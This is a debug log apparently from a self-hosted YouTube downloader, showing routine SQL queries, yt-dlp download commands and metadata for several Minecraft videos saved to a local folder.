[7264, 141299, ~U[2026-06-02 23:42:35Z], ~U[2026-06-02 23:42:35Z]] 19:42:35.490 [debug] Current batch of media processed. Will check again in 1000ms 19:42:35.495 [info] {"args":{"id":141299},"id":7264,"meta":{},"system_time":1780443755495900830,"max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_item","media_fetching","show_in_dashboard"]} 19:42:35.496 [debug] QUERY OK source="media_items" db=0.3ms idle=6.8ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [141299] 19:42:35.496 [info] User scripts lifecyle file either not present or is empty. Skipping. 19:42:35.496 [debug] QUERY OK source="sources" db=0.1ms idle=7.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [31] 19:42:35.497 [debug] QUERY OK source="media_profiles" db=0.1ms idle=7.4ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [2] 19:42:35.497 [debug] QUERY OK source="media_items" db=0.2ms idle=7.5ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [141299] 19:42:35.498 [debug] QUERY OK source="media_metadata" db=0.0ms idle=2.3ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [141299] 19:42:35.498 [debug] QUERY OK source="media_profiles" db=0.1ms idle=1.9ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [2] 19:42:35.498 [debug] QUERY OK source="settings" db=0.1ms idle=1.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 19:42:35.499 [debug] QUERY OK source="settings" db=0.1ms idle=1.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 19:42:35.499 [debug] Running yt-dlp command for action: get_downloadable_status 19:42:35.499 [debug] QUERY OK source="settings" db=0.0ms idle=1.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 19:42:35.499 [debug] QUERY OK source="settings" db=0.0ms idle=1.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 19:42:35.499 [debug] QUERY OK source="settings" db=0.0ms idle=1.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 19:42:35.500 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=tRYboGBQZcs --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/2a/a4/2aa4db8ae1895e3ef4810716e9700fbc1fbaca26720462d4a554560c2528812a.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 19:42:36.490 [debug] Current batch of media processed. Will check again in 1000ms 19:42:37.491 [debug] Current batch of media processed. Will check again in 1000ms 19:42:38.493 [debug] Current batch of media processed. Will check again in 1000ms 19:42:39.494 [debug] Current batch of media processed. Will check again in 1000ms 19:42:39.523 [debug] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=tRYboGBQZcs --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/2a/a4/2aa4db8ae1895e3ef4810716e9700fbc1fbaca26720462d4a554560c2528812a.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 0 with: 19:42:39.523 [debug] Running yt-dlp command for action: download 19:42:39.523 [debug] QUERY OK source="settings" db=0.3ms idle=243.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 19:42:39.523 [debug] QUERY OK source="settings" db=0.1ms idle=244.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 19:42:39.524 [debug] QUERY OK source="settings" db=0.0ms idle=244.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 19:42:39.524 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=tRYboGBQZcs --no-simulate --no-progress --no-force-overwrites --parse-metadata %(upload_date>%Y-%m-%d)s:(?P.+) --write-subs --convert-subs srt --sub-langs en --remux-video mp4 --format-sort res:1080,+codec:avc:m4a --format bestvideo*+bestaudio/best --output /downloads/rory/Mongo/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --print-to-file after_move:%()j /tmp/pinchflat/data/44/0e/440e05a5073160ff098a318bf234a4e94159fcc42e1c2dd9c43f5283abdb4706.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 19:42:40.495 [debug] Current batch of media processed. Will check again in 1000ms 19:42:41.496 [debug] Current batch of media processed. Will check again in 1000ms 19:42:42.497 [debug] Current batch of media processed. Will check again in 1000ms 19:42:43.498 [debug] Current batch of media processed. Will check again in 1000ms 19:42:44.499 [debug] Current batch of media processed. Will check again in 1000ms 19:42:45.500 [debug] Current batch of media processed. Will check again in 1000ms 19:42:46.501 [debug] Current batch of media processed. Will check again in 1000ms 19:42:47.503 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "Mongo and his friends are doing a Minecraft Build Battle, but Mongo secretly cheats with GUGUGAGA PENGUIN! Can Mongo fool his friends and win the challenge, or will they discover his secret? Watch until the end to find out!\n\n#Mongo #Minecraft #MinecraftMod", "duration" => 1361, "filename" => "/downloads/rory/Mongo/2026-06-01 I Cheated With GUGUGAGA PENGUIN In Minecraft Build Battle!/I Cheated With GUGUGAGA PENGUIN In Minecraft Build Battle! [MSrXwMFFpYo].mp4", "id" => "MSrXwMFFpYo", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=MSrXwMFFpYo", "playlist_index" => 2, "timestamp" => 1780333227, "title" => "I Cheated With GUGUGAGA PENGUIN In Minecraft Build Battle!", "upload_date" => "20260601"} 19:42:47.504 [debug] QUERY OK source="sources" db=0.6ms queue=0.1ms idle=995.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [31] 19:42:47.505 [debug] QUERY OK source="sources" db=0.5ms queue=0.1ms idle=225.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [31] 19:42:47.510 [debug] QUERY OK source="media_items" db=4.7ms idle=226.1ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-06-01 17:00:27Z], 31] 19:42:47.513 [debug] QUERY OK source="media_items" db=2.1ms idle=231.7ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","prevent_download","original_url","source_id","subtitle_filepaths","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "original_url" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["Mongo and his friends are doing a Minecraft Build Battle, but Mongo secretly cheats with GUGUGAGA PENGUIN! Can Mongo fool his friends and win the challenge, or will they discover his secret? Watch until the end to find out!\n\n#Mongo #Minecraft #MinecraftMod", "I Cheated With GUGUGAGA PENGUIN In Minecraft Build Battle!", "c3ecef9e-f292-4c9e-af21-af53c85fdd0b", "MSrXwMFFpYo", false, "https://www.youtube.com/watch?v=MSrXwMFFpYo", 31, [], 1361, false, 2, "/downloads/rory/Mongo/2026-06-01 I Cheated With GUGUGAGA PENGUIN In Minecraft Build Battle!/I Cheated With GUGUGAGA PENGUIN In Minecraft Build Battle! [MSrXwMFFpYo].mp4", false, false, 98, ~U[2026-06-01 17:00:27Z], ~U[2026-06-02 23:42:47Z], ~U[2026-06-02 23:42:47Z], "Mongo and his friends are doing a Minecraft Build Battle, but Mongo secretly cheats with GUGUGAGA PENGUIN! Can Mongo fool his friends and win the challenge, or will they discover his secret? Watch until the end to find out!\n\n#Mongo #Minecraft #MinecraftMod", "I Cheated With GUGUGAGA PENGUIN In Minecraft Build Battle!", "MSrXwMFFpYo", "https://www.youtube.com/watch?v=MSrXwMFFpYo", 31, 1361, false, "/downloads/rory/Mongo/2026-06-01 I Cheated With GUGUGAGA PENGUIN In Minecraft Build Battle!/I Cheated With GUGUGAGA PENGUIN In Minecraft Build Battle! [MSrXwMFFpYo].mp4", false, ~U[2026-06-01 17:00:27Z]] 19:42:47.514 [debug] QUERY OK source="sources" db=0.1ms idle=9.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [31] 19:42:47.514 [debug] QUERY OK source="media_profiles" db=0.1ms idle=8.7ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [2] 19:42:47.514 [debug] QUERY OK source="media_items" db=0.2ms idle=4.3ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [141080] 19:42:47.514 [debug] Current batch of media processed. Will check again in 1000ms 19:42:48.515 [debug] Current batch of media processed. Will check again in 1000ms 19:42:49.516 [debug] Current batch of media processed. Will check again in 1000ms 19:42:50.517 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "Mongo becomes a BABY HACKER in Minecraft! Mongo uses his new hacking powers to prank his friends and cause chaos. What happens when everyone discovers Mongo’s secret? Watch to find out!\n\n#Mongo #Minecraft #MinecraftMod", "duration" => 1263, "filename" => "/downloads/rory/Mongo/2026-05-31 Mongo Becomes a BABY HACKER in Minecraft!/Mongo Becomes a BABY HACKER in Minecraft! [-SXrtlMYJdk].mp4", "id" => "-SXrtlMYJdk", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=-SXrtlMYJdk", "playlist_index" => 3, "timestamp" => 1780246807, "title" => "Mongo Becomes a BABY HACKER in Minecraft!", "upload_date" => "20260531"} 19:42:50.519 [debug] QUERY OK source="sources" db=0.7ms queue=0.1ms idle=1238.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [31] 19:42:50.520 [debug] QUERY OK source="sources" db=0.6ms queue=0.1ms idle=1240.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [31] 19:42:50.523 [debug] QUERY OK source="media_items" db=2.3ms queue=0.1ms idle=1241.4ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-05-31 17:00:07Z], 31] 19:42:50.524 [debug] QUERY OK source="media_items" db=0.4ms idle=1011.6ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","prevent_download","original_url","source_id","subtitle_filepaths","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "original_url" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["Mongo becomes a BABY HACKER in Minecraft! Mongo uses his new hacking powers to prank his friends and cause chaos. What happens when everyone discovers Mongo’s secret? Watch to find out!\n\n#Mongo #Minecraft #MinecraftMod", "Mongo Becomes a BABY HACKER in Minecraft!", "73dce122-4fba-4f97-ae30-b97ff1e70c18", "-SXrtlMYJdk", false, "https://www.youtube.com/watch?v=-SXrtlMYJdk", 31, [], 1263, false, 3, "/downloads/rory/Mongo/2026-05-31 Mongo Becomes a BABY HACKER in Minecraft!/Mongo Becomes a BABY HACKER in Minecraft! [-SXrtlMYJdk].mp4", false, false, 98, ~U[2026-05-31 17:00:07Z], ~U[2026-06-02 23:42:50Z], ~U[2026-06-02 23:42:50Z], "Mongo becomes a BABY HACKER in Minecraft! Mongo uses his new hacking powers to prank his friends and cause chaos. What happens when everyone discovers Mongo’s secret? Watch to find out!\n\n#Mongo #Minecraft #MinecraftMod", "Mongo Becomes a BABY HACKER in Minecraft!", "-SXrtlMYJdk", "https://www.youtube.com/watch?v=-SXrtlMYJdk", 31, 1263, false, "/downloads/rory/Mongo/2026-05-31 Mongo Becomes a BABY HACKER in Minecraft!/Mongo Becomes a BABY HACKER in Minecraft! [-SXrtlMYJdk].mp4", false, ~U[2026-05-31 17:00:07Z]] 19:42:50.524 [debug] QUERY OK source="sources" db=0.1ms idle=9.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [31] 19:42:50.524 [debug] QUERY OK source="media_profiles" db=0.2ms idle=5.3ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [2] 19:42:50.525 [debug] QUERY OK source="media_items" db=0.2ms idle=4.5ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [140859] 19:42:50.525 [debug] Current batch of media processed. Will check again in 1000ms 19:42:51.526 [debug] Current batch of media processed. Will check again in 1000ms 19:42:52.527 [debug] Current batch of media processed. Will check again in 1000ms 19:42:53.528 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "Mongo and Axy are doing a build battle on who can build the best NIGHTMARE FREDBEAR from FIVE NIGHTS AT FREDDYS! NIGHTMARE FREDBEAR is a SCARY HORROR MOB! Who wins Mongo or Axy the build challenge? Watch to find out!\n\n#Mongo #Minecraft #MinecraftMod", "duration" => 1228, "filename" => "/downloads/rory/Mongo/2026-05-30 I Cheated With NIGHTMARE FREDBEAR In Minecraft Build Battle!/I Cheated With NIGHTMARE FREDBEAR In Minecraft Build Battle! [gS2rtAwhgS4].mp4", "id" => "gS2rtAwhgS4", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=gS2rtAwhgS4", "playlist_index" => 4, "timestamp" => 1780160410, "title" => "I Cheated With NIGHTMARE FREDBEAR In Minecraft Build Battle!", "upload_date" => "20260530"} 19:42:53.529 [debug] QUERY OK source="sources" db=0.2ms idle=1249.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [31] 19:42:53.529 [debug] QUERY OK source="sources" db=0.2ms idle=1249.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [31] 19:42:53.530 [debug] QUERY OK source="media_items" db=1.1ms idle=1250.0ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-05-30 17:00:10Z], 31] 19:42:53.531 [debug] QUERY OK source="media_items" db=0.5ms idle=1014.0ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","prevent_download","original_url","source_id","subtitle_filepaths","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "original_url" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["Mongo and Axy are doing a build battle on who can build the best NIGHTMARE FREDBEAR from FIVE NIGHTS AT FREDDYS! NIGHTMARE FREDBEAR is a SCARY HORROR MOB! Who wins Mongo or Axy the build challenge? Watch to find out!\n\n#Mongo #Minecraft #MinecraftMod", "I Cheated With NIGHTMARE FREDBEAR In Minecraft Build Battle!", "3e2e1323-bde0-414c-99a5-62d833c0b261", "gS2rtAwhgS4", false, "https://www.youtube.com/watch?v=gS2rtAwhgS4", 31, [], 1228, false, 4, "/downloads/rory/Mongo/2026-05-30 I Cheated With NIGHTMARE FREDBEAR In Minecraft Build Battle!/I Cheated With NIGHTMARE FREDBEAR In Minecraft Build Battle! [gS2rtAwhgS4].mp4", false, false, 98, ~U[2026-05-30 17:00:10Z], ~U[2026-06-02 23:42:53Z], ~U[2026-06-02 23:42:53Z], "Mongo and Axy are doing a build battle on who can build the best NIGHTMARE FREDBEAR from FIVE NIGHTS AT FREDDYS! NIGHTMARE FREDBEAR is a SCARY HORROR MOB! Who wins Mongo or Axy the build challenge? Watch to find out!\n\n#Mongo #Minecraft #MinecraftMod", "I Cheated With NIGHTMARE FREDBEAR In Minecraft Build Battle!", "gS2rtAwhgS4", "https://www.youtube.com/watch?v=gS2rtAwhgS4", 31, 1228, false, "/downloads/rory/Mongo/2026-05-30 I Cheated With NIGHTMARE FREDBEAR In Minecraft Build Battle!/I Cheated With NIGHTMARE FREDBEAR In Minecraft Build Battle! [gS2rtAwhgS4].mp4", false, ~U[2026-05-30 17:00:10Z]] 19:42:53.532 [debug] QUERY OK source="sources" db=0.2ms idle=13.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", 